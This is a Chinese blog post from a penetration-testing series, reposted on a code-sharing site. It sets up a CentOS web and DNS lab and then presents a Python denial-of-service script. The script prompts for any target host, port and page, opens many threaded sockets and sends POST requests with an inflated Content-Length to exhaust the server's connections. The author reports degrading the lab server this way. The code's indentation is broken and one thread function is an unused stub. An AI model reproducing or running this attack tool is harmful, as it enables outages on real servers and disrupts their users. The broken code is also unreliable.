ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

渗透系列之Python-2

2019-08-10 10:38:20  阅读:247  来源: 互联网

标签:named 系列 命令 Python socks 渗透 输入 input conn


今天来做一些关于网站流量测试。

首先来搭建环境。
主机:Centos7
IP:192.168.100.1

输入yum install httpd -y进行安装

安装完后,输入vim /etc/httpd/conf/httpd.conf进行编辑

跳转到第124行

在这里插入图片描述
修改方框内的文件位置,也可以不进行修改,这是网页文件的存放目录,根据自己的喜欢来进行更改。
在这里插入图片描述
更改完成之后,保存退出。

输入命令mkdir -p /var/test创建刚刚更改的目录

输入命令echo DDOS Testing > /var/test/index.html创建一个网页文件

输入命令systemctl restart httpd进行重启

输入命令yum install bind -y

输入命令vim /etc/named.conf

更改成这样
在这里插入图片描述
保存退出后

输入命令vim /etc/named.rfc1912.zones

在这里插入图片描述
粘贴完之后,进行修改,如图。
在这里插入图片描述

输入命令cd /var/named

输入命令cp -a named.empty test.com

输入命令cp -a named.empty 100.168.192.zone

输入命令vim test.com

在这里插入图片描述

输入命令vim 100.168.192.zone

在这里插入图片描述

保存退出后,输入命令systemctl restart named

vim /etc/resolv.conf

在这里插入图片描述
保存退出后,输入以下命令,测试DNS服务是否成功开启。
在这里插入图片描述
将本机Windows的虚拟网卡更改为
在这里插入图片描述

输入命令systemctl stop firewalld和setenfoce 0将其关闭,否则可能出现一些小问题。

在网页上输入http://www.test.com
出来这样的画面,就说明成功了。
在这里插入图片描述
现在开始编写DDOS攻击代码

import socket
import time
import threading

#DDOS攻击

A_input = input("请输入你要攻击的次数:")
B_input = input("请输入目标的端口:")
C_input = input("请输入目标的网址:")
D_input = input("请输入目标的网页文件(没有的话直接回车):")
#----------------
#设置参数
Max_conn = int(A_input)          #最大连接次数
Port = int(B_input)       		 #目标端口
Host = C_input 		 			 #目标网址
Page = D_input		  			 #目标网页文件


#----------------
#制造数据包
date = ('POST %s HTTP/1.1\r\n'
'HOST:%s\r\n'
'Content-Length: 10000000\r\n'
'Cookie: Test DDos_test\r\n'
'\r\n' % (Page, Host)
)

socks = []

#----------------
def conn_thread():
	global socks
	
	for count in range(0, Max_conn):
		#设置连接参数
    	sc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
    	#带入信息
        sc.connect((Host, Port))
        #发送信息
        sc.send(date.encode(encoding='utf-8', errors='strict'))
        print('Send date ok!, Conn=%d\n' % count)
		socks.append(sc)
		
    except Exception as ex:
        print('Could not connect to server or send error:%s' % ex)
        
#----------------
def send_thread():
	global socks

	while True:
    	for s in socks:
        	try:
            	pass

        	except Exception as ex:
            	print('Send Exception: %s\n' % ex)
            	socks.remove(s)
            	s.close()
    	time.sleep(1)

conn_th_1 = threading.Thread(target=conn_thread)
conn_th_2 = threading.Thread(target=conn_thread)

conn_th_1.start()
conn_th_2.start()

这是一个结构非常简单的一个DDOS工具。不但可以输网址,也可以输IP。
输出完毕后,到服务器去看看情况
在这里插入图片描述
这是没有做过任何防护的服务器,这时,你重启服务器,重启的速度会变得非常的慢,你刷新页面很可能会看到页面刷新失败,或者变成默认页面,等等一些情况。
我是攻击了几千次后就变成这样的。

标签:named,系列,命令,Python,socks,渗透,输入,input,conn
来源: https://blog.csdn.net/weixin_43680820/article/details/99050524

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有